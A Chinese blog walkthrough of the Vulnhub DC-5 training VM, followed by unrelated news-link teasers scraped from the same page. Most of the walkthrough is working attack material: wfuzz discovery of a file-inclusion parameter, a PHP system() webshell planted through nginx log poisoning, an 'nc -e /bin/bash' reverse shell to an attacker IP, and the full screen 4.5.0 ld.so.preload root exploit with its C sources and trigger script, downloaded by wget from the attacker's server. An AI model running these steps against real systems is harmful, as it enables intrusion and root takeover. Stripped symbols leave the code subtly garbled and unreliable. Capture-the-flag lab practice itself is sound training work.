手把手教通关Vulnhub靶场-DC5靶机
一.靶机下载官方链接https://download.vulnhub.com/dc/DC-5.zip网盘链接:https://pan.baidu.com/s/1eRXBBhv4vuL3pEBsQ8Wayg 提取码: m7in导入之后要在设置中将其调为NAT模式默认情况我们是不知道靶机的密码的目的是通过kali获取靶机中的flag信息二.靶机信息收集因为靶机与kali处于同一网络状态下使用命令arp-scan -l得到靶机的ip为192.168.194.137使用命令nmap -A 192.168.194.137对靶机进行扫描发现靶机开放了80端口尝试对80端口进行访问三.漏洞扫描使用dirsearch扫描一下敏感目录使用命令dirsearch -u http://192.168.194.137访问footer.php和thankyou.php的时候发现刷新网页时间会改变但在其他网页不会变化所以猜测在thankyou.php文件中包含footer.php文件存在文件包含thankyou.php无明显文件参数用 wfuzz 爆破 GET 参数使用命令wfuzz -c --hh1200 -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.194.137/thankyou.php?FUZZ/etc/passwd发现存在参数file访问http://192.168.194.137/thankyou.php?file/etc/passwd得到命令执行的回显四.上传webshell将?php system($_GET[cmd]) ?传入发现服务器为nginx于是尝试访问nginx的日志信息http://192.168.194.137/thankyou.php?file/var/log/nginx/error.log接着反弹shell使用命令http://192.168.194.137/thankyou.php?file/var/log/nginx/error.logcmdnc -e /bin/bash 192.168.194.134 1111nc lvvp 1111获取交互式shell使用命令python -c import pty; pty.spawn(/bin/bash);五.提权使用命令find / -perm -4000 -type f 2/dev/null发现/bin/screen-4.5.0确认提权点在msf里面寻找提权的poc使用命令searchsploit screen 4.5.0使用命令cat /usr/share/exploitdb/exploits/linux/local/41154.sh查看到这个poc的利用方式将41154.sh中上面一部分c语言代码另存为libhax.c#includestdio.h#includesys/types.h#includeunistd.h#includesys/stat.h__attribute__ ((__constructor__))voiddropshell(void){chown(/tmp/rootshell, 0, 0);chmod(/tmp/rootshell, 04755);unlink(/etc/ld.so.preload);printf([] done!\n);}使用命令gcc -fPIC -shared -ldl -o libhax.so libhax.c将41154.sh中下面一部分c语言代码另存为rootshell.c#includestdio.h#includeunistd.h#includesys/types.hintmain(void){setuid(0);setgid(0);seteuid(0);setegid(0);char*argv[] {/bin/sh, NULL};execvp(argv[0], argv);return0;}使用命令gcc -static -o rootshell rootshell.c将41154.sh中剩下部分代码另存为dc5.sh脚本文件#!/bin/bashecho~ gnu/screenroot ~echo[] Now we create our /etc/ld.so.preload file...cd/etcumask000# becausescreen-D-m-Lld.so.preloadecho-ne \x0a/tmp/libhax.so# newline neededecho[] Triggering...screen-ls# screen itself is setuid, so.../tmp/rootshell使用命令vim dc5.sh:set ffunix | wqchmodZx dc5.shpython3 -m http.server 8080切换到反弹shell页面使用命令cd /tmpwget http://192.168.194.134:8080/libhax.sowget http://192.168.194.134:8080/rootshellwget http://192.168.194.134:8080/dc5.sh使用命令cd /rootcat thisistheflag.txt成功获取最后的flag如有错误请大佬们指正到这里我们也是成功通关了DC5靶机后续会接着更新DC系列的靶机通关教程请多多关注一下

相关新闻

Feature Selection实战指南:从237个字段砍到50个的工程化决策方法

Feature Selection实战指南:从237个字段砍到50个的工程化决策方法

1. 这不是“降维”课,是数据工程师每天在救火时用的 Feature Selection 第一关“Dimensional Reduction — Feature Selection Part 1”这个标题乍看像教科书里的章节名,但我在金融风控建模组干了八年,带过十七个新人,亲手跑废过三…

2026/10/17 5:52:38 阅读更多 →
718:public internl class;partial []

718:public internl class;partial []

1 public internal class Product { } 代码解析:public internal class Product 1. 语法报错:修饰符冲突,无法编译 C# 类的访问修饰符不能同时写 public internal,二者互斥: public:程序集内外任意代码都能…

2026/10/17 5:52:42 阅读更多 →
关于C++网络编程中Epoll和套接字阻塞与非阻塞有感

关于C++网络编程中Epoll和套接字阻塞与非阻塞有感

前情提要:小编本人是刚开始学C网络编程的学生,来记录一下学习笔记,大家如果看到有错误请不要吝啬您的指导,助力每一位it追梦人我们创建的套接字不管是连接套接字Acceptor_fd还是客户端套接字Client_fd都会放到Epoll中来进行管理&a…

2026/10/17 5:56:17 阅读更多 →

最新新闻

模电前置知识

模电前置知识

一、基尔霍夫定律1、几个专有名词支路:电路中通过同一电流的分支结点:三条或三条以上支路的连接点称结点回路:由支路组成的闭合路径网孔:对平面电路,其内部不含任何支路的回路成网孔(网孔是回路&#xff0c…

2026/10/19 7:19:13 阅读更多 →
148.Agent-LangGraph状态的修改-归并函数operator和add_messages和MessagesState

148.Agent-LangGraph状态的修改-归并函数operator和add_messages和MessagesState

摘要:本文围绕 Python 的 operator 模块与函数式编程展开,先介绍高阶函数的概念与用法,再通过普通写法与函数式写法的对比,演示如何用 operator 中的 mul 等函数简化循环逻辑。随后引入 LangGraph 中 add_messages 与 MessagesSta…

2026/10/19 7:19:13 阅读更多 →
水利枢纽关键边界空间结构透视与人员禁入三维识别方案

水利枢纽关键边界空间结构透视与人员禁入三维识别方案

水利枢纽的安全管理,长期以来其实有一个很尴尬的痛点:视频监控装了无数路,围墙围栏修了一圈又一圈,但真正出事的时候,往往还是靠人盯着屏幕肉眼发现、事后翻录像大海捞针。传统的电子围栏误报率居高不下,小…

2026/10/19 7:19:13 阅读更多 →
激励与制衡:企业治理的双引擎与数字化落地实践

激励与制衡:企业治理的双引擎与数字化落地实践

1. 治理模型的双引擎:激励与制衡为什么必须被放在一起看1.1 从工程学视角切入管理问题我在长期做信息化系统设计的过程中,经常要面对一类问题:明明系统架构图画得漂漂亮亮,权限角色定义得清清楚楚,审批流嵌套了好几层&…

2026/10/19 7:19:13 阅读更多 →
2026网络安全七大趋势:AI对抗、零信任落地与数据安全工程化实践

2026网络安全七大趋势:AI对抗、零信任落地与数据安全工程化实践

2026年网络安全的风向,不会像技术发布会那样让人兴奋,但每一件都直接决定你是守得住还是被打穿。我从一线防护的角度,把未来一年最关键的七个变化拆开讲,每个趋势背后都有具体的攻击手法、防护思路和落地动作。这篇东西没有空话&a…

2026/10/19 7:19:13 阅读更多 →
【仿真】液冷板流道拓扑优化的思路与效果

【仿真】液冷板流道拓扑优化的思路与效果

摘要 液冷板流道设计本质上是压降与温差的权衡问题。本文从优化目标设定、拓扑优化算法选型、网格与求解器设置、多工况校核四个环节梳理液冷板流道拓扑优化的完整流程,并结合并联水道与串流道的对比说明优化收益的实际边界,可用于液冷板设计前期的方案…

2026/10/19 7:18:13 阅读更多 →

日新闻

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

频率跟踪型PWM电源设计:臭氧发生器谐振点漂移与软开关实现

简介:本资源为电源技术方向的学术研究文档,聚焦介质阻挡放电型臭氧发生器电源的频率跟踪型PWM控制策略,面向电力电子、高压电源及臭氧应用领域的科研人员与工程技术人员。针对负载呈容性、等效电容随外加电压升高而增大、谐振频率随之漂移的难…

2026/10/19 0:00:47 阅读更多 →
Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

Vibe Coding 遇上 TaoToken:把开发者思维圣殿的灵感流接入统一 Key 通道

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 0:00:47 阅读更多 →
HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

HundredCV-Chat话题建模实战教程:利用4,871个内置话题标签构建主题分析系统

【免费下载链接】HundredCV-Chat 项目地址: https://ai.gitcode.com/hf_mirrors/Jax-dan/HundredCV-Chat 点击查看 免费下载 HundredCV-Chat 是一个由 100 位青年简历数据开发而来的中文多轮对话数据集,共包含 24,750 组日常闲聊对话和 4,871 个话题标签…

2026/10/19 0:00:47 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型(GMM)的语音识别系统,很多人第一反应就是一堆数学公式,觉得门槛很高。但如果你真的在MATLAB里把它落地跑通,会发现核心其实就是三件事:把声音变成特征向量,用GMM给每个类别…

2026/10/18 0:00:55 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人,但落到具体操作上,无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程:对图像做反白、改调色板、彩色转灰度,最后把像素数据导出成txt文件。单看每一…

2026/10/18 0:00:55 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词,你会发现一个很有意思的现象:每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型,有人指的是运动控制系统,还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/19 1:30:52 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/19 2:54:50 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/18 12:16:16 阅读更多 →